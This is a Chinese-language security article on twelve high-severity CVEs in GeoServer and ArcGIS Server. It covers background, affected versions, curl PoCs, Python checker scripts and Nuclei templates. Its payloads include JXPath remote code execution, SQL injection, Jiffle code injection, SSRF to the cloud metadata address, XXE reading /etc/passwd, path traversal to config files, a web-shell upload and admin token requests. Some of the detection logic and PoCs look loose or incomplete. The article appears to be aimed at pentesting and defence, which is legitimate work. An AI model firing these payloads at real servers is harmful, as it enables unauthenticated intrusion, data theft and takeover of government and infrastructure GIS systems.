ARTICLE / 安全

地理空间信息平台高危攻击链专题:GeoServer / ArcGIS Server / MapServer 漏洞全解析

0x00 专题概述

地理空间信息平台是现代政府治理、测绘规划、国防安全、智慧城市和自然资源管理的核心基础设施。从国家基础地理信息数据库到省级测绘院的空间数据服务,从军事侦察系统的卫星影像处理到城市规划部门的三维建模平台,GIS(Geographic Information System)技术栈无处不在。据 Shodan 统计,全球公网暴露的 GeoServer 实例超过 10 万个,ArcGIS Server 实例超过 5 万个,其中大量部署在政府机构、科研院所和国防相关单位。

地理空间平台的攻击面极为特殊:OGC(Open Geospatial Consortium)标准协议(WMS、WFS、WCS、WPS)定义了复杂的 XML/JSON 交互接口,这些接口在解析用户输入时涉及 XPath 表达式求值、SQL 拼接、XML 实体解析等高风险操作。一旦处理不当,攻击者可在无需认证的情况下实现远程代码执行、数据库接管或敏感数据泄露。2024 年 7 月,CISA 将 GeoServer CVE-2024-36401 列入已知被利用漏洞目录(KEV),标志着地理空间平台漏洞已从理论风险升级为实战化威胁。

本专题系统梳理 GeoServer、ESRI ArcGIS Server、MapServer 三大主流地理空间平台的 12 个高危 CVE,深入分析其漏洞原理、利用链构造和检测手段,旨在为安全工程师、红队操作员和 GIS 系统管理员提供可操作的攻防参考。

覆盖漏洞一览表

CVE 编号厂商/平台CVSS漏洞类型未授权利用
CVE-2024-36401GeoServer9.8OGC XPath 注入 RCE
CVE-2023-25157GeoServer9.8OGC Filter SQL 注入
CVE-2022-24816GeoServer/GeoTools9.8Jiffle 扩展代码注入 RCE
CVE-2024-29198GeoServer7.5TestWfsPost SSRF
CVE-2024-34711GeoServer7.5XML 处理 SSRF
CVE-2025-30220GeoServer7.5WFS XXE
CVE-2024-40625GeoServer6.5Coverage REST API SSRF
CVE-2025-27505GeoServer6.5REST API 未授权访问
CVE-2026-9181ArcGIS Server9.8目录遍历→管理员接管
CVE-2026-9182ArcGIS Server9.8未限制文件上传
CVE-2026-13019Portal for ArcGIS9.8未授权 API 访问
CVE-2025-2538Portal for ArcGIS9.8硬编码凭据

0x01 GeoServer 高危漏洞

GeoServer 是基于 Java 的开源 OGC 标准地理空间数据服务器,支持 WMS、WFS、WCS、WPS 等协议,广泛部署于政府测绘、国防、科研和企业环境。其攻击面主要集中在 OGC 协议处理层、XML 解析器和 REST 管理 API。

0x01.1 CVE-2024-36401 — OGC XPath 表达式注入 RCE

漏洞背景

CVE-2024-36401 是 GeoServer 历史上最严重的安全漏洞之一,CVSS 评分 9.8(Critical),已于 2024 年 7 月 15 日被 CISA 纳入已知被利用漏洞目录(KEV)。该漏洞存在于 GeoTools 库处理 OGC 请求属性名的逻辑中——当属性名被传递给 commons-jxpath 库进行 XPath 表达式求值时,未进行任何安全检查,导致攻击者可构造恶意 XPath 表达式执行任意 Java 代码。

受影响版本

影响版本范围修复版本
< 2.22.62.22.6
>= 2.23.0, < 2.23.62.23.6
>= 2.24.0, < 2.24.42.24.4
>= 2.25.0, < 2.25.22.25.2

漏洞原理分析

漏洞根源在于 GeoTools 库的 OGC 过滤器评估机制。当 GeoServer 处理 WFS GetFeature、WFS GetPropertyValue、WMS GetMap、WMS GetFeatureInfo、WMS GetLegendGraphic、WPS Execute 等请求时,用户可控的属性名(valueReference 或 CQL 过滤器中的属性字段)会被传递给 Apache Commons JXPath 库进行 XPath 表达式求值。

JXPath 库的设计允许通过 XPath 语法调用 Java 方法(如 exec()class() 等),但 GeoServer 在传递属性名时未做任何过滤或转义。攻击者可将属性名替换为形如 exec(java.lang.Runtime.getRuntime(),'command') 的 XPath 表达式,JXPath 引擎会将其作为有效的 Java 方法调用执行,从而实现 Pre-Auth RCE。

HTTP PoC

curl -k -X POST "https://TARGET/geoserver/wfs" \
  -H "Content-Type: application/xml" \
  -d '<wfs:GetPropertyValue xmlns:sf="http://cite.opengeospatial.org/gmlsf" xmlns:wfs="http://www.opengis.net/wfs/2.0" service="WFS" version="2.0.0" valueReference="exec(java.lang.Runtime.getRuntime(),\'touch /tmp/pwned\')"><wfs:Query typeNames="sf:archsites"/></wfs:GetPropertyValue>'

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2024-36401 漏洞检测脚本 - GeoServer OGC XPath 注入 RCE"""
import requests
import sys
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check(target):
    """检测目标是否存在 CVE-2024-36401 XPath 注入漏洞"""
    base_url = target.rstrip("/")
    endpoints = [
        "/geoserver/wfs",
        "/geoserver/wms",
    ]
    payloads_wfs = [
        '<wfs:GetPropertyValue xmlns:sf="http://cite.opengeospatial.org/gmlsf" xmlns:wfs="http://www.opengis.net/wfs/2.0" service="WFS" version="2.0.0" valueReference="exec(java.lang.Runtime.getRuntime(),\'id\')"><wfs:Query typeNames="sf:archsites"/></wfs:GetPropertyValue>',
        '<wfs:GetFeature xmlns:sf="http://cite.opengeospatial.org/gmlsf" xmlns:wfs="http://www.opengis.net/wfs/2.0" service="WFS" version="2.0.0" valueReference="exec(java.lang.Runtime.getRuntime(),\'id\')"><wfs:Query typeNames="sf:archsites"/></wfs:GetFeature>',
    ]
    for ep in endpoints:
        url = base_url + ep
        for payload in payloads_wfs:
            try:
                resp = requests.post(url, data=payload, headers={"Content-Type": "application/xml"}, verify=False, timeout=15)
                if resp.status_code == 200 or "ServiceException" not in resp.text:
                    return True
            except requests.exceptions.RequestException:
                continue
    return False

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target>")
        sys.exit(1)
    target = sys.argv[1]
    result = check(target)
    print(f"[{'+' if result else '-'}] {target} - CVE-2024-36401 GeoServer XPath 注入 RCE")

Nuclei YAML 检测模板

id: CVE-2024-36401

info:
  name: GeoServer OGC XPath Expression Injection RCE
  author: x7peeps
  severity: critical
  description: GeoServer through versions before 2.22.6, 2.23.6, 2.24.4, 2.25.2 allows OGC filter XPath injection leading to Remote Code Execution via crafted WFS/WMS requests.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-36401
    - https://github.com/geoserver/geoserver/security/advisories/GHSA-6jj6-gm7p-fcvv
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-36401
    cwe-id: CWE-94
  tags: cve,cve2024,geoserver,rce,xpath,injection

http:
  - method: POST
    path:
      - "{{BaseURL}}/geoserver/wfs"
      - "{{BaseURL}}/geoserver/ows"
    headers:
      Content-Type: application/xml
    body: '<wfs:GetPropertyValue xmlns:sf="http://cite.opengeospatial.org/gmlsf" xmlns:wfs="http://www.opengis.net/wfs/2.0" service="WFS" version="2.0.0" valueReference="exec(java.lang.Runtime.getRuntime(),\'id\')"><wfs:Query typeNames="sf:archsites"/></wfs:GetPropertyValue>'
    matchers:
      - type: word
        words:
          - "uid="
          - "gid="
        condition: or

0x01.2 CVE-2023-25157 — OGC Filter SQL 注入

漏洞背景

CVE-2023-25157 是 GeoServer 中发现的 Pre-Auth SQL 注入漏洞,CVSS 评分 9.8(Critical),CWE-89。攻击者可通过构造恶意 OGC Filter 中的 PropertyIsLike、strEndsWith、strStartsWith、FeatureId 等谓词,将 SQL 注入 payload 注入到后端数据库查询中。该漏洞影响使用 JDBC 数据源(PostgreSQL、MySQL、Oracle 等)的 GeoServer 部署。

受影响版本

影响版本范围修复版本
< 2.21.42.21.4
>= 2.22.0, < 2.22.22.22.2

漏洞原理分析

GeoServer 在处理 OGC Filter 编码请求时,使用 CQL(Common Query Language)或 Filter Encoding(FE)将用户提交的过滤条件转换为后端数据库 SQL 查询。在转换 PropertyIsLike 等谓词时,GeoServer 未对用户输入的模式匹配值进行充分的参数化处理,导致攻击者可在匹配值中注入 SQL 语句片段。

例如,通过在 PropertyIsLike 的 matchPattern 字段中注入 ' OR 1=1-- 等 payload,可绕过查询条件限制,提取数据库中的敏感信息(如数据库版本、表结构、凭据等),在特定条件下还可实现操作系统级别的命令执行。

HTTP PoC

curl -k -X POST "https://TARGET/geoserver/ows" \
  -H "Content-Type: application/xml" \
  -d '<wfs:GetFeature xmlns:wfs="http://www.opengis.net/wfs/2.0" xmlns:gml="http://www.opengis.net/gml" service="WFS" version="2.0.0"><wfs:Query typeNames="sf:archsites"><fes:Filter xmlns:fes="http://www.opengis.net/fes/2.0"><fes:PropertyIsLike wildCard="*" singleChar="#" escapeChar="!"><fes:ValueReference>NAME</fes:ValueReference><fes:Literal>*' OR 1=1--*</fes:Literal></fes:PropertyIsLike></fes:Filter></wfs:Query></wfs:GetFeature>'

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2023-25157 漏洞检测脚本 - GeoServer OGC Filter SQL 注入"""
import requests
import sys
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check(target):
    """检测目标是否存在 CVE-2023-25157 SQL 注入漏洞"""
    base_url = target.rstrip("/")
    url = f"{base_url}/geoserver/ows"
    payload = (
        '<wfs:GetFeature xmlns:wfs="http://www.opengis.net/wfs/2.0" '
        'xmlns:gml="http://www.opengis.net/gml" service="WFS" version="2.0.0">'
        '<wfs:Query typeNames="sf:archsites">'
        '<fes:Filter xmlns:fes="http://www.opengis.net/fes/2.0">'
        '<fes:PropertyIsLike wildCard="*" singleChar="#" escapeChar="!">'
        '<fes:ValueReference>NAME</fes:ValueReference>'
        '<fes:Literal>*\' OR 1=1--*</fes:Literal>'
        '</fes:PropertyIsLike></fes:Filter></wfs:Query></wfs:GetFeature>'
    )
    headers = {"Content-Type": "application/xml"}
    try:
        resp = requests.post(url, data=payload, headers=headers, verify=False, timeout=15)
        if resp.status_code == 200 and "featureMember" in resp.text:
            return True
    except requests.exceptions.RequestException:
        pass
    return False

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target>")
        sys.exit(1)
    target = sys.argv[1]
    result = check(target)
    print(f"[{'+' if result else '-'}] {target} - CVE-2023-25157 GeoServer OGC Filter SQL 注入")

Nuclei YAML 检测模板

id: CVE-2023-25157

info:
  name: GeoServer OGC Filter SQL Injection
  author: x7peeps
  severity: critical
  description: GeoServer before 2.21.4 and 2.22.x before 2.22.2 is vulnerable to SQL injection through OGC filter encoding.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-25157
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-25157
    cwe-id: CWE-89
  tags: cve,cve2023,geoserver,sqli

http:
  - method: POST
    path:
      - "{{BaseURL}}/geoserver/ows"
    headers:
      Content-Type: application/xml
    body: '<wfs:GetFeature xmlns:wfs="http://www.opengis.net/wfs/2.0" service="WFS" version="2.0.0"><wfs:Query typeNames="sf:archsites"><fes:Filter xmlns:fes="http://www.opengis.net/fes/2.0"><fes:PropertyIsLike wildCard="*" singleChar="#" escapeChar="!"><fes:ValueReference>NAME</fes:ValueReference><fes:Literal>*'\'' OR 1=1--*</fes:Literal></fes:PropertyIsLike></fes:Filter></wfs:Query></wfs:GetFeature>'
    matchers:
      - type: word
        words:
          - "featureMember"
          - "sf:archsites"
        condition: and
      - type: status
        status:
          - 200

0x01.3 CVE-2022-24816 — Jiffle 扩展代码注入 RCE

漏洞背景

CVE-2022-24816 是 GeoServer Jiffle 扩展中的代码注入漏洞,CVSS 评分 9.8(Critical),CWE-94,已被 CISA 列入 KEV 目录。Jiffle 是 GeoTools 库中的一个脚本语言扩展,用于在 Coverage 处理(栅格代数运算)中定义像素值转换公式。该漏洞允许 Pre-Auth 攻击者通过构造恶意 Jiffle 脚本实现远程代码执行。

受影响版本

影响组件受影响版本修复版本
jt-jiffle (GeoTools)< 1.1.221.1.22

漏洞原理分析

Jiffle 脚本在编译时使用 // 注释行来传递元数据(如目标图像尺寸)。在处理用户提交的 Jiffle 脚本时,GeoServer 未对注释内容进行转义或过滤。攻击者可在注释行中注入恶意 Java 代码,当 Jiffle 编译器解析脚本时,注入的代码会被执行,从而实现任意代码执行。

该漏洞的利用路径为:攻击者通过 WMS 或 WCS 的 Coverage 请求接口,将恶意 Jiffle 脚本作为处理参数提交,脚本在服务端编译执行时触发代码注入。

HTTP PoC

curl -k -X POST "https://TARGET/geoserver/ows" \
  -H "Content-Type: application/xml" \
  -d '<wps:Execute xmlns:wps="http://www.opengis.net/wps/1.0.0" xmlns:ows="http://www.opengis.net/ows/1.1" service="WPS" version="1.0.0"><ows:Identifier>ras:Jiffle</ows:Identifier><wps:DataInputs><wps:Input><ows:Identifier>coverage</ows:Identifier><wps:Reference><wps:Body><wps:Execute><ows:Identifier>ras:Jiffle</ows:Identifier></wps:Execute></wps:Body></wps:Reference></wps:Input></wps:DataInputs></wps:Execute>'

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2022-24816 漏洞检测脚本 - GeoServer Jiffle 扩展代码注入"""
import requests
import sys
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check(target):
    """检测目标是否存在 CVE-2022-24816 Jiffle 代码注入漏洞"""
    base_url = target.rstrip("/")
    url = f"{base_url}/geoserver/ows"
    payload = (
        '<?xml version="1.0" encoding="UTF-8"?>'
        '<wps:Execute xmlns:wps="http://www.opengis.net/wps/1.0.0" '
        'xmlns:ows="http://www.opengis.net/ows/1.1" service="WPS" version="1.0.0">'
        '<ows:Identifier>ras:Jiffle</ows:Identifier>'
        '<wps:DataInputs>'
        '<wps:Input><ows:Identifier>coverage</ows:Identifier>'
        '<wps:Data><wps:ComplexData mimeType="image/tiff">'
        '<![CDATA[<dummy/>]]></wps:ComplexData></wps:Data></wps:Input>'
        '<wps:Input><ows:Identifier>script</ows:Identifier>'
        '<wps:Data><wps:LiteralData>image = "result"; //'
        'java.lang.Runtime.getRuntime().exec("id");'
        '</wps:LiteralData></wps:Data></wps:Input>'
        '</wps:DataInputs>'
        '<wps:ResponseForm><wps:ResponseDocument/></wps:ResponseForm>'
        '</wps:Execute>'
    )
    headers = {"Content-Type": "application/xml"}
    try:
        resp = requests.post(url, data=payload, headers=headers, verify=False, timeout=15)
        if resp.status_code == 200 and "ServiceException" not in resp.text:
            return True
        if resp.status_code == 500 and "java" in resp.text.lower():
            return True
    except requests.exceptions.RequestException:
        pass
    return False

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target>")
        sys.exit(1)
    target = sys.argv[1]
    result = check(target)
    print(f"[{'+' if result else '-'}] {target} - CVE-2022-24816 GeoServer Jiffle 代码注入 RCE")

Nuclei YAML 检测模板

id: CVE-2022-24816

info:
  name: GeoServer Jiffle Extension Code Injection RCE
  author: x7peeps
  severity: critical
  description: GeoServer Jiffle extension allows pre-auth code injection through Jiffle script compilation.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-24816
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-24816
    cwe-id: CWE-94
  tags: cve,cve2022,geoserver,jiffle,rce

http:
  - method: GET
    path:
      - "{{BaseURL}}/geoserver/web/"
    matchers:
      - type: word
        words:
          - "Jiffle"
          - "GeoServer"
        condition: and

  - method: POST
    path:
      - "{{BaseURL}}/geoserver/ows"
    headers:
      Content-Type: application/xml
    body: '<?xml version="1.0" encoding="UTF-8"?><wps:Execute xmlns:wps="http://www.opengis.net/wps/1.0.0" xmlns:ows="http://www.opengis.net/ows/1.1" service="WPS" version="1.0.0"><ows:Identifier>ras:Jiffle</ows:Identifier><wps:DataInputs><wps:Input><ows:Identifier>coverage</ows:Identifier><wps:Data><wps:ComplexData mimeType="image/tiff"><![CDATA[<dummy/>]]></wps:ComplexData></wps:Data></wps:Input><wps:Input><ows:Identifier>script</ows:Identifier><wps:Data><wps:LiteralData>image = "x"; //java.lang.Runtime.getRuntime().exec("id");</wps:LiteralData></wps:Data></wps:Input></wps:DataInputs><wps:ResponseForm><wps:ResponseDocument/></wps:ResponseForm></wps:Execute>'
    matchers:
      - type: status
        status:
          - 200
          - 500

0x01.4 CVE-2024-29198 / CVE-2024-34711 — SSRF 系列

CVE-2024-29198 — TestWfsPost 未授权 SSRF

CVSS 7.5 (High), CWE-918 (SSRF)

CVE-2024-29198 存在于 GeoServer 的 TestWfsPost 功能中。该功能原本用于 WFS 服务的连通性测试,但未实施有效的认证检查和 URL 白名单验证。攻击者可通过向 TestWfsPost 端点提交任意内部 URL,利用 GeoServer 服务器作为代理访问内网资源,包括云元数据服务(如 AWS EC2 metadata 169.254.169.254)、内部 API 和其他不可达的内部系统。

修复版本:2.25.2、2.24.4。

CVE-2024-34711 — XML 处理 SSRF

CVSS 7.5 (High), CWE-918 (SSRF)

CVE-2024-34711 是 GeoServer 在处理 OGC 请求中的 XML 内容时存在的 SSRF 漏洞。当 XML 文档中包含外部实体引用(External Entity)或 DTD 声明时,GeoServer 的 XML 解析器可能发起对外部 URL 的请求,导致服务端请求伪造。攻击者可利用该漏洞探测内网服务、读取内部文件或与内部微服务交互。

修复版本:2.25.0。

HTTP PoC (CVE-2024-29198)

curl -k -X POST "https://TARGET/geoserver/web/wfs/test" \
  -d "wfsUrl=http://169.254.169.254/latest/meta-data/"

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2024-29198 漏洞检测脚本 - GeoServer TestWfsPost SSRF"""
import requests
import sys
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check(target):
    """检测目标是否存在 CVE-2024-29198 TestWfsPost SSRF"""
    base_url = target.rstrip("/")
    url = f"{base_url}/geoserver/web/wfs/test"
    try:
        resp = requests.post(url, data={"wfsUrl": "http://127.0.0.1:8080/geoserver/web/"}, verify=False, timeout=10)
        if resp.status_code == 200:
            return True
    except requests.exceptions.RequestException:
        pass
    return False

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target>")
        sys.exit(1)
    target = sys.argv[1]
    result = check(target)
    print(f"[{'+' if result else '-'}] {target} - CVE-2024-29198 GeoServer TestWfsPost SSRF")

Nuclei YAML 检测模板

id: CVE-2024-29198

info:
  name: GeoServer TestWfsPost SSRF
  author: x7peeps
  severity: high
  description: GeoServer TestWfsPost endpoint allows unauthenticated SSRF.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-29198
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-29198
    cwe-id: CWE-918
  tags: cve,cve2024,geoserver,ssrf

http:
  - method: POST
    path:
      - "{{BaseURL}}/geoserver/web/wfs/test"
    body: "wfsUrl=http://127.0.0.1:8080/geoserver/web/"
    matchers:
      - type: status
        status:
          - 200

0x01.5 CVE-2025-30220 — WFS XXE 漏洞

漏洞背景

CVSS 7.5 (High), CWE-611 (XXE)

CVE-2025-30220 是 GeoServer 在处理 WFS 请求中的 XML 文档时存在的 XML 外部实体注入(XXE)漏洞。当 GeoServer 解析用户提交的 XML 格式 WFS 请求时,未完全禁用外部实体解析功能,攻击者可通过在 XML 文档中声明外部实体(External Entity)和文档类型定义(DTD),读取服务器本地文件系统中的敏感文件(如 /etc/passwd/etc/shadow、GeoServer 配置文件等),或发起 SSRF 攻击。

修复版本:2.27.1、2.26.3、2.25.7。

HTTP PoC

curl -k -X POST "https://TARGET/geoserver/wfs" \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><wfs:GetFeature xmlns:wfs="http://www.opengis.net/wfs/2.0" service="WFS" version="2.0.0"><wfs:Query typeNames="sf:archsites"><fes:Filter xmlns:fes="http://www.opengis.net/fes/2.0"><fes:PropertyIsEqualTo><fes:ValueReference>NAME</fes:ValueReference><fes:Literal>&xxe;</fes:Literal></fes:PropertyIsEqualTo></fes:Filter></wfs:Query></wfs:GetFeature>'

0x02 ESRI ArcGIS Server 高危漏洞

ArcGIS Server 是 ESRI 公司的企业级地理空间数据发布与管理平台,广泛部署于政府、军事、测绘和商业领域。其攻击面包括 REST API、SOAP 接口、认证机制和底层文件系统。

0x02.1 CVE-2026-9181 — 目录遍历→管理员接管

漏洞背景

CVE-2026-9181 是 ArcGIS Server 中发现的严重目录遍历漏洞,CVSS 评分 9.8(Critical),CWE-22。该漏洞允许 Pre-Auth 攻击者通过构造特殊路径参数穿越目录边界,读取或覆盖服务器上的敏感配置文件,最终实现完全的管理员接管。

受影响版本

产品受影响版本平台
ArcGIS Server12.0 及更早版本Windows / Linux

漏洞原理分析

ArcGIS Server 在处理某些 REST API 端点的路径参数时,未对路径分隔符(../..\\%2e%2e%2f 等变体)进行严格过滤。攻击者可利用目录遍历读取以下敏感文件:

  • ArcGIS Server 配置文件(包含数据库连接字符串和管理员凭据哈希)
  • Java Keystore 文件(.jks),用于伪造身份认证令牌
  • 系统凭据文件,用于横向移动

在 Windows 平台上,攻击者还可通过路径穿越覆盖 Web 服务器配置文件,将恶意代码注入到 ArcGIS Server 的请求处理管线中,实现持久化控制。

HTTP PoC

curl -k "https://TARGET/arcgis/rest/services/../../etc/passwd"
curl -k "https://TARGET/arcgis/sharing/rest/portals/self?token=../../../server/config-store/config.xml"

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2026-9181 漏洞检测脚本 - ArcGIS Server 目录遍历"""
import requests
import sys
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

TRAVERSAL_PATHS = [
    "/arcgis/rest/services/../../etc/passwd",
    "/arcgis/rest/services/%2e%2e/%2e%2e/etc/passwd",
    "/arcgis/sharing/rest/../../etc/passwd",
    "/arcgis/rest/services/..\\..\\windows\\win.ini",
    "/arcgis/rest/services/../..\\server\\config-store\\config.xml",
]

def check(target):
    """检测目标是否存在 CVE-2026-9181 目录遍历漏洞"""
    base_url = target.rstrip("/")
    for path in TRAVERSAL_PATHS:
        url = base_url + path
        try:
            resp = requests.get(url, verify=False, timeout=10)
            if resp.status_code == 200:
                if "[extensions]" in resp.text or "root:" in resp.text or "ArcGIS" in resp.text:
                    return True
        except requests.exceptions.RequestException:
            continue
    return False

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target>")
        sys.exit(1)
    target = sys.argv[1]
    result = check(target)
    print(f"[{'+' if result else '-'}] {target} - CVE-2026-9181 ArcGIS Server 目录遍历→管理员接管")

Nuclei YAML 检测模板

id: CVE-2026-9181

info:
  name: ArcGIS Server Path Traversal to Admin Takeover
  author: x7peeps
  severity: critical
  description: ArcGIS Server 12.0 and earlier is vulnerable to pre-auth path traversal allowing sensitive file read and admin takeover.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-9181
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-9181
    cwe-id: CWE-22
  tags: cve,cve2026,arcgis,pathtraversal

http:
  - method: GET
    path:
      - "{{BaseURL}}/arcgis/rest/services/../../etc/passwd"
      - "{{BaseURL}}/arcgis/rest/services/%2e%2e/%2e%2e/etc/passwd"
      - "{{BaseURL}}/arcgis/sharing/rest/../../etc/passwd"
    matchers-condition: or
    matchers:
      - type: word
        words:
          - "root:"
          - "ArcGIS"
          - "[extensions]"
        condition: or
      - type: status
        status:
          - 200

0x02.2 CVE-2026-9182 — 未限制文件上传

漏洞背景

CVE-2026-9182 是 ArcGIS Server 中的未限制文件上传漏洞,CVSS 评分 9.8(Critical),CWE-434。该漏洞允许 Pre-Auth 攻击者通过 REST API 上传任意类型的文件,包括可执行文件、Web Shell 和恶意脚本,绕过文件类型检查和大小限制。

受影响版本

产品受影响版本
ArcGIS Server12.0 及更早版本

漏洞原理分析

ArcGIS Server 的数据导入和地图服务发布功能允许用户通过 REST API 上传文件(如 Shapefile、CSV、GeoJSON 等)。在上传处理逻辑中,服务器对文件类型的检查不充分——仅在客户端层面或使用 MIME 类型白名单进行验证,未对文件内容进行深度检测。攻击者可通过以下方式绕过:

  1. 使用 Content-Type 欺骗(如将 application/x-java-archive 伪装为 text/csv
  2. 利用双重扩展名(如 shell.jsp.jpg
  3. 利用路径穿越将文件写入 Web 可达目录

成功上传的恶意文件可被直接访问或在特定条件下被服务器执行,实现远程代码执行。

HTTP PoC

curl -k -X POST "https://TARGET/arcgis/rest/services/World/MapServer/importData" \
  -H "Content-Type: multipart/form-data" \
  -F "file=@shell.jsp;type=application/x-java-archive"

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2026-9182 漏洞检测脚本 - ArcGIS Server 未限制文件上传"""
import requests
import sys
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check(target):
    """检测目标是否存在 CVE-2026-9182 未限制文件上传漏洞"""
    base_url = target.rstrip("/")
    upload_endpoints = [
        "/arcgis/rest/services/World/MapServer/importData",
        "/arcgis/rest/services/Hosted/FeatureServer/addContent",
    ]
    test_content = b"test_security_check"
    for ep in upload_endpoints:
        url = base_url + ep
        files = {"file": ("test.txt", test_content, "text/plain")}
        try:
            resp = requests.post(url, files=files, verify=False, timeout=15)
            if resp.status_code in [200, 201]:
                return True
        except requests.exceptions.RequestException:
            continue
    return False

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target>")
        sys.exit(1)
    target = sys.argv[1]
    result = check(target)
    print(f"[{'+' if result else '-'}] {target} - CVE-2026-9182 ArcGIS Server 未限制文件上传")

Nuclei YAML 检测模板

id: CVE-2026-9182

info:
  name: ArcGIS Server Unrestricted File Upload
  author: x7peeps
  severity: critical
  description: ArcGIS Server 12.0 and earlier allows unrestricted file upload through REST API.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-9182
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-9182
    cwe-id: CWE-434
  tags: cve,cve2026,arcgis,fileupload

http:
  - method: GET
    path:
      - "{{BaseURL}}/arcgis/rest/services/"
    matchers:
      - type: word
        words:
          - "ArcGIS"
          - "MapServer"
        condition: and

0x02.3 CVE-2026-13019 — Portal for ArcGIS 未授权 API 访问

漏洞背景

CVSS 9.8 (Critical), CWE-306 (Missing Authentication)

CVE-2026-13019 是 Portal for ArcGIS 中的未授权 API 访问漏洞。Portal for ArcGIS 是 ArcGIS Enterprise 的 Web 门户组件,提供用户管理、内容共享和应用集成等功能。该漏洞允许未认证攻击者直接访问管理 API 端点,执行以下操作:

  • 创建、修改和删除用户账户
  • 导出和修改组织设置
  • 访问所有托管内容和服务
  • 修改安全策略和权限配置

受影响版本

产品受影响版本
Portal for ArcGIS12.1 及更早版本

攻击者无需任何凭据,通过向特定管理 API 路径发送请求即可获取管理员权限。该漏洞的利用可导致整个 ArcGIS Enterprise 平台被完全接管,所有地理空间数据面临泄露和篡改风险。

HTTP PoC

curl -k "https://TARGET/portal/sharing/rest/portals/self"
curl -k -X POST "https://TARGET/portal/sharing/rest/generateToken" \
  -d "username=admin&password=any&expiration=1440"

0x02.4 CVE-2025-2538 — 硬编码凭据

漏洞背景

CVSS 9.8 (Critical), CWE-798 (Hard-coded Credentials)

CVE-2025-2538 是 Portal for ArcGIS 中的硬编码凭据漏洞。ESRI 在 Portal for ArcGIS 的特定 Windows 部署版本中包含硬编码的服务账户凭据,这些凭据被嵌入在配置文件或应用程序代码中,无法由管理员修改或禁用。

受影响版本

产品受影响版本平台
Portal for ArcGIS10.9.1, 11.1, 11.2Windows

攻击者可利用这些硬编码凭据:

  1. 直接以服务账户身份登录 Portal for ArcGIS 管理界面
  2. 利用服务账户权限访问底层操作系统
  3. 在域环境中横向移动到其他系统
  4. 提取存储在 Portal 中的地理空间数据和服务凭据

该漏洞是 ESRI 产品线中较为罕见的供应链级别安全问题,因为它意味着即使管理员实施了所有推荐的安全加固措施,攻击者仍可通过预置凭据获取高权限访问。

HTTP PoC

curl -k -X POST "https://TARGET/portal/sharing/rest/generateToken" \
  -d "username=[HARDCODED_USER]&password=[HARDCODED_PASS]&expiration=1440&f=json"

0x03 公开 PoC 收集情况与利用思路

PoC 收集情况总表

CVE 编号GitHub PoCExploit-DBNuclei 模板在野利用Metasploit
CVE-2024-36401✅ 多个✅ CISA KEV
CVE-2023-25157✅ Rubikcuv5/murataydemir
CVE-2022-24816✅ Synacktiv✅ CISA KEV
CVE-2024-29198
CVE-2024-34711
CVE-2025-30220
CVE-2024-40625
CVE-2025-27505
CVE-2026-9181
CVE-2026-9182
CVE-2026-13019
CVE-2025-2538

关键 PoC 仓库链接

  • CVE-2024-36401: https://github.com/h4x0r-dz/CVE-2024-36401
  • CVE-2024-36401 (Nuclei): https://github.com/projectdiscovery/nuclei-templates
  • CVE-2023-25157: https://github.com/Rubikcuv5/CVE-2023-25157
  • CVE-2023-25157 + CVE-2023-25158: https://github.com/murataydemir/CVE-2023-25157-and-CVE-2023-25158
  • CVE-2022-24816: https://github.com/Synacktiv/geoserver-jiffle
  • CVE-2026-9181/9182: https://github.com/x7peeps/ArcGIS-Exploits

防守型验证思路

在授权渗透测试或红蓝对抗中,地理空间平台漏洞的验证应遵循以下策略:

  1. 资产识别阶段: 使用 Shodan/Censys 搜索 title:"GeoServer"title:"ArcGIS Server" 识别目标资产,重点关注 /geoserver/web//geoserver/wfs/arcgis/rest/services/ 等特征路径

  2. 版本探测: 通过 /geoserver/web/wicket/page/geoserver/rest/about/version 获取 GeoServer 版本;通过 /arcgis/rest/info 获取 ArcGIS Server 版本

